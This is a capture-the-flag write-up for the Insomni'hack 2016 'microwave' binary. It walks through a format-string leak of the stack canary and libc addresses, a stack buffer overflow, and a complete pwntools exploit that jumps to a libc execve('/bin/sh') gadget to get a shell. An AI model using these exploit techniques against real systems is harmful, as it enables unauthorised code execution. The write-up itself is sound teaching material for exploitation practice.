Insomni'hack 2016 - Microwave
The microwave application is used to let your microwave tweets you favorite food. We identified two vulnerabilities in the binary: a string format and a buffer overflow. The string format allowed us to leak the canary and some addresses of the libc. Those were then used to exploit the buffer overflow and access the flag.
This is a write-up for the microwave pwn of Insomni’hack CTF (first published on deadc0de.re).
Following binaries were given:
- microwave_61f50dba931bb10ab3089215b2e188f4
- libc.so.6
Those are both available here
The program
The program simulates a microwave able to connect to twitter and tweets your favorite food.
There are 4 options:
-
- Connect to Twitter account: asks for username and password to connect to twitter
-
- Edit your tweet: edit content of the tweet(s) to be sent
-
- Grill & Tweet your food
-
- Exit
Connect to twitter:
--------------------------------------------------------
| Welcome to the next generation of MicroWaves! |
| *** |
| This stylish Microwave with Grill function, includes |
| a function that tweets your favourite food! |
| *** |
--------------------------------------------------------
----------------------------------
| 1. Connect to Twitter account |
| 2. Edit your tweet |
| 3. Grill & Tweet your food|
| q. Exit |
----------------------------------
[MicroWave]: 1
Log in on Twitter:
username: test
password: test
Checking test
Twitter account
Edit your tweet:
----------------------------------
| 1. Connect to Twitter account |
| 2. Edit your tweet |
| 3. Grill & Tweet your food|
| q. Exit |
----------------------------------
[MicroWave]: 2
some blabla
Done.
Grill and tweet:
----------------------------------
| 1. Connect to Twitter account |
| 2. Edit your tweet |
| 3. Grill & Tweet your food|
| q. Exit |
----------------------------------
[MicroWave]: 3
Okay! Let’s do this! Here are the protections of the binary
$ checksec microwave_61f50dba931bb10ab3089215b2e188f4
[*] '/tmp/microwave_61f50dba931bb10ab3089215b2e188f4'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled</code></pre>
The vulnerabilities
Find the password
First we need a valid username/password to connect to the fake Twitter account. The username can be anything, however the function containing the Checking string shows where the password is checked (and what it is):
[0x00000ac0]> iz | grep Checking
[0x00000ac0]> axt 0x00002ac0
data 0xf03 lea rsi, [rip + 0x1bb6] in sub.__printf_chk_f00
[0x00000ac0]> pd @0xf03
... (snip) ...
0x00000f98 488b1d713020. mov rbx, qword [rip + 0x203071] ; [0x204010:8]=0x2b56 str.n07_7h3_fl46 ; "V
0x00000f9f 4889df mov rdi, rbx
0x00000fa2 e849faffff call sym.imp.strlen ;[7]
0x00000fa7 31d2 xor edx, edx
,=< 0x00000fa9 eb13 jmp 0xfbe ;[9]
| 0x00000fab 0f1f440000 nop dword [rax + rax]
| ; JMP XREF from 0x00000fc1 (sub.__printf_chk_f00)
.--> 0x00000fb0 0fb60c13 movzx ecx, byte [rbx + rdx] // LOAD THE PASSWORD CHAR
|| 0x00000fb4 384c1528 cmp byte [rbp + rdx + 0x28], cl ; [0xa:1]=0 // COMPARE PROVIDED PASSWORD CHAR
,===< 0x00000fb8 752e jne 0xfe8 ;[?]
||| 0x00000fba 4883c201 add rdx, 1 // NEXT CHAR
||| ; JMP XREF from 0x00000fa9 (sub.__printf_chk_f00)
||`-> 0x00000fbe 4839c2 cmp rdx, rax // CHECK REACH END OF STRING
|`==< 0x00000fc1 75ed jne 0xfb0 ;[?] // GO ON
| 0x00000fc3 b801000000 mov eax, 1
| 0x00000fc8 6689453c mov word [rbp+arg_3ch], ax ; [0x3c:2]=27 ; '<' // RETURN VALUE 1
| ; JMP XREF from 0x00000fee (sub.__printf_chk_f00)
| .-> 0x00000fcc 488b442408 mov rax, qword [rsp + 8] ; [0x8:8]=0
| | 0x00000fd1 644833042528. xor rax, qword fs:[0x28]
|,==< 0x00000fda 7514 jne 0xff0 ;[?]
||| 0x00000fdc 4883c410 add rsp, 0x10 "
... (snip) ...
`---> 0x00000fe8 31d2 xor edx, edx
|| 0x00000fea 6689553c mov word [rbp+arg_3ch], dx ; [0x3c:2]=27 ; '<' // RETURN VALUE 0
|`=< 0x00000fee ebdc jmp 0xfcc
The password is thus n07_7h3_fl46
. It was however possible to “see” it using a simple strings
.
Vuln1: string format
The first vulnerability is a string format on the username when connecting to twitter:
--------------------------------------------------------
| Welcome to the next generation of MicroWaves! |
| *** |
| This stylish Microwave with Grill function, includes |
| a function that tweets your favourite food! |
| *** |
--------------------------------------------------------
----------------------------------
| 1. Connect to Twitter account |
| 2. Edit your tweet |
| 3. Grill & Tweet your food|
| q. Exit |
----------------------------------
[MicroWave]: 1
Log in on Twitter:
username: %p.%p.%p.%p.%p.%p.%p.%p
password: n07_7h3_fl46
Checking 0xa.0x7ffff7b0ce50.0x7ffff7fd8700.0x555555556ac0.(nil).0xeaa546f902a74f00.0x7ffff7dd7710.0x7ffff7dd7718
Twitter account
It is thus possible to read up the stack. The leaked values are indeed interesting and will be used later:
- 0x7ffff7... look like libc addresses
- 0xeaa546f902a74f00 looks like the canary
Vuln2: stack overflow
The second vulnerability is triggered when reading the content to tweet. It reads from stdin (0) and store the result on the stack
[0x00000ac0]> iz | grep '#>'
vaddr=0x00002adb paddr=0x00002adb ordinal=019 sz=16 len=15 section=.rodata type=ascii string=\n #>
[0x00000ac0]> axt 0x00002adb
data 0x1007 lea rsi, [rip + 0x1acd] in sub.__printf_chk_0
[0x00000ac0]> pd @0x1007
...
0x00001032 31ff xor edi, edi // 0 == STDIN
0x00001034 4889e6 mov rsi, rsp // buffer on the stack
0x00001037 ba00080000 mov edx, section..rela.plt ; "@? " @ 0x800
0x0000103c 31c0 xor eax, eax
0x0000103e e8ddf9ffff call sym.imp.read
We read up to 0x800 (2048) from stdin to the buffer (on the stack). If we consider the whole block, only 0x418 (1048) are reserved on the stack. We can thus overwrite saved RIP
sub rsp, 0x418 | reserve 1048
lea rsi, [rip + 0x1acd] |
mov edi, 1 |
mov rax, qword fs:[0x28] | get the canary
mov qword [rsp + 0x408], rax | store canary at 1032
xor eax, eax |
call sym.imp.__printf_chk ;[a] |
xor edi, edi |
call sym.imp.fflush ;[b] |
xor edi, edi | 0 == stdin
mov rsi, rsp | buffer on the stack
mov edx, section..rela.plt | 0x800
xor eax, eax |
call sym.imp.read ;[c] |
lea rdi, [rip + 0x1aa1] |
call sym.imp.puts ;[d] |
mov rax, qword [rsp + 0x408] |
xor rax, qword fs:[0x28] |
jne 0x106a ;
So to overflow the saved RIP, the payload should look like this:
- 1032 bytes of junk
- 8 bytes to replace the canary
1048-1032-8 = 8
bytes- saved RIP
The exploit
Due to the protections, one needs to exploit the binary using ROP. However looking into the provided libc shows that the magic ROP chain is present.
.text:000000000004652C mov rax, cs:environ_ptr_0
.text:0000000000046533 lea rdi, aBinSh ; "/bin/sh"
.text:000000000004653A lea rsi, [rsp+180h+var_150]
.text:000000000004653F mov cs:dword_3C06C0, 0
.text:0000000000046549 mov cs:dword_3C06D0, 0
.text:0000000000046553 mov rdx, [rax]
.text:0000000000046556 call execve
So by overwriting the saved-RIP with that address (libc base address + 0x4652C) we get RCE (execve of “/bin/sh”).
One needs to leak two elements to be able to exploit:
- the canary (to bypass canary protection)
- one address of the libc to retrieve the offset to the magic gadget above
These are retrieved using the first vulnerability (string format). Then the second vulnerability (buffer overflow) is used to overflow the stack and overwrite the return address.
The addresses leaked from the string format shows some of them are in the libc (starting with 0x7fff…). We need to know how far from the base address these are in order to retrieve the base address. This base address is then used to refer to the magic gadget.
This is easily done with gdb:
$ gdb microwave_61f50dba931bb10ab3089215b2e188f4
gdb-peda$ set environment LD_PRELOAD=./libc.so.6
gdb-peda$ r
Starting program: /tmp/microwave_61f50dba931bb10ab3089215b2e188f4
--------------------------------------------------------
| Welcome to the next generation of MicroWaves! |
| *** |
| This stylish Microwave with Grill function, includes |
| a function that tweets your favourite food! |
| *** |
--------------------------------------------------------
----------------------------------
| 1. Connect to Twitter account |
| 2. Edit your tweet |
| 3. Grill & Tweet your food|
| q. Exit |
----------------------------------
[MicroWave]: 1
Log in on Twitter:
username: %p.%p.%p.%p.%p
password: n07_7h3_fl46
Checking 0xa.0x7ffff7b02870.0x7ffff7ff3740.0x555555556ac0.(nil)
Twitter account
............
----------------------------------
| 1. Connect to Twitter account |
| 2. Edit your tweet |
| 3. Grill & Tweet your food|
| q. Exit |
----------------------------------
[MicroWave]: ^C
Program received signal SIGINT, Interrupt.
Stopped reason: SIGINT
0x00007ffff7b02810 in read () from ./libc.so.6
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555557000 r-xp /tmp/microwave_61f50dba931bb10ab3089215b2e188f4
0x0000555555757000 0x0000555555758000 r--p /tmp/microwave_61f50dba931bb10ab3089215b2e188f4
0x0000555555758000 0x0000555555759000 rw-p /tmp/microwave_61f50dba931bb10ab3089215b2e188f4
0x0000555555759000 0x000055555577a000 rw-p [heap]
0x00007ffff7a17000 0x00007ffff7bd2000 r-xp /tmp/libc.so.6
0x00007ffff7bd2000 0x00007ffff7dd1000 ---p /tmp/libc.so.6
0x00007ffff7dd1000 0x00007ffff7dd5000 r--p /tmp/libc.so.6
0x00007ffff7dd5000 0x00007ffff7dd7000 rw-p /tmp/libc.so.6
0x00007ffff7dd7000 0x00007ffff7ddc000 rw-p mapped
0x00007ffff7ddc000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ff2000 0x00007ffff7ff8000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r-xp [vdso]
0x00007ffff7ffa000 0x00007ffff7ffc000 r--p [vvar]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
The offset is thus hex(0x7ffff7b02870 - 0x00007ffff7a17000) = 0xeb870
Now you can construct the exploit using Pwntools:
Exploit:
#!/usr/bin/env python2
# author: deadc0de6
from pwn import *
context.arch='amd64'
PASSWORD = "n07_7h3_fl46"
magic_addr = 0x4652c
base_offset = 0xeb870
#p = remote('microwave.insomni.hack', 1337)
p = remote('127.0.0.1', 1337)
print p.recvuntil('[MicroWave]: ')
# select (1) connect
p.sendline("1")
p.recvuntil("username: ")
# send username
p.sendline("%p."*8)
p.recvuntil("password: ")
# send password
p.sendline(PASSWORD)
# read leaked addresses
ret = p.recvuntil('[MicroWave]: ')
addrs = ret.split()[1].split('.')
print addrs
# canary is the sixth element
canary = int(addrs[5], 16)
# libc address is the second element
libcaddr = int(addrs[1], 16)
libc_base = libcaddr - base_offset
# print some information
print 'canary is %s' % (hex(canary))
print "libc base: %s" % (hex(libc_base))
print "magic addr: %s" % (hex(libc_base + magic_addr))
# select (2) send tweet
p.sendline("2")
print p.recvuntil("#> ")
# construct the exploit
buf = "A"*1032
buf += pack(canary)
buf += "B"*8
buf += pack(libc_base + magic_addr)
# exploit
p.sendline(buf)
p.clean()
# interact with it
p.interactive()
It is then possible to cat
the flag.
$ ./microwave-pwn.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
--------------------------------------------------------
| Welcome to the next generation of MicroWaves! |
| *** |
| This stylish Microwave with Grill function, includes |
| a function that tweets your favourite food! |
| *** |
--------------------------------------------------------
----------------------------------
| 1. Connect to Twitter account |
| 2. Edit your tweet |
| 3. Grill & Tweet your food|
| q. Exit |
----------------------------------
[MicroWave]:
['0xa', '0x7f192241b870', '0x7f1922b16740', '0x7f192291aac0', '(nil)', '0x4cacfb0061420700', '0x7f19226ef870', '0x7f19226ef878', '']
canary is 0x4cacfb0061420700
libc base: 0x7f1922330000
magic addr: 0x7f192237652c
#>
[*] Switching to interactive mode
$ ls
To reproduce the execution locally, I used socat with the following tweak:
$ cat doit.sh
#!/bin/bash
LD_PRELOAD=./libc.so.6 ./microwave_61f50dba931bb10ab3089215b2e188f4
$ socat tcp-l:1337,reuseaddr,fork exec:./doit.sh
Note
On some systems, using LD_PRELOAD won’t work and thus LD_LIBRARY_PATH with the full path to the folder containing the provided libc (libc.so.6) should be provided.
It is indeed a better way of doing it since LD_PRELOAD should be used when replacing only some specific functions of a library and not a full library (in which case LD_LIBRARY_PATH is to be used).
Thanks to Dummys1337 for pointing that out !!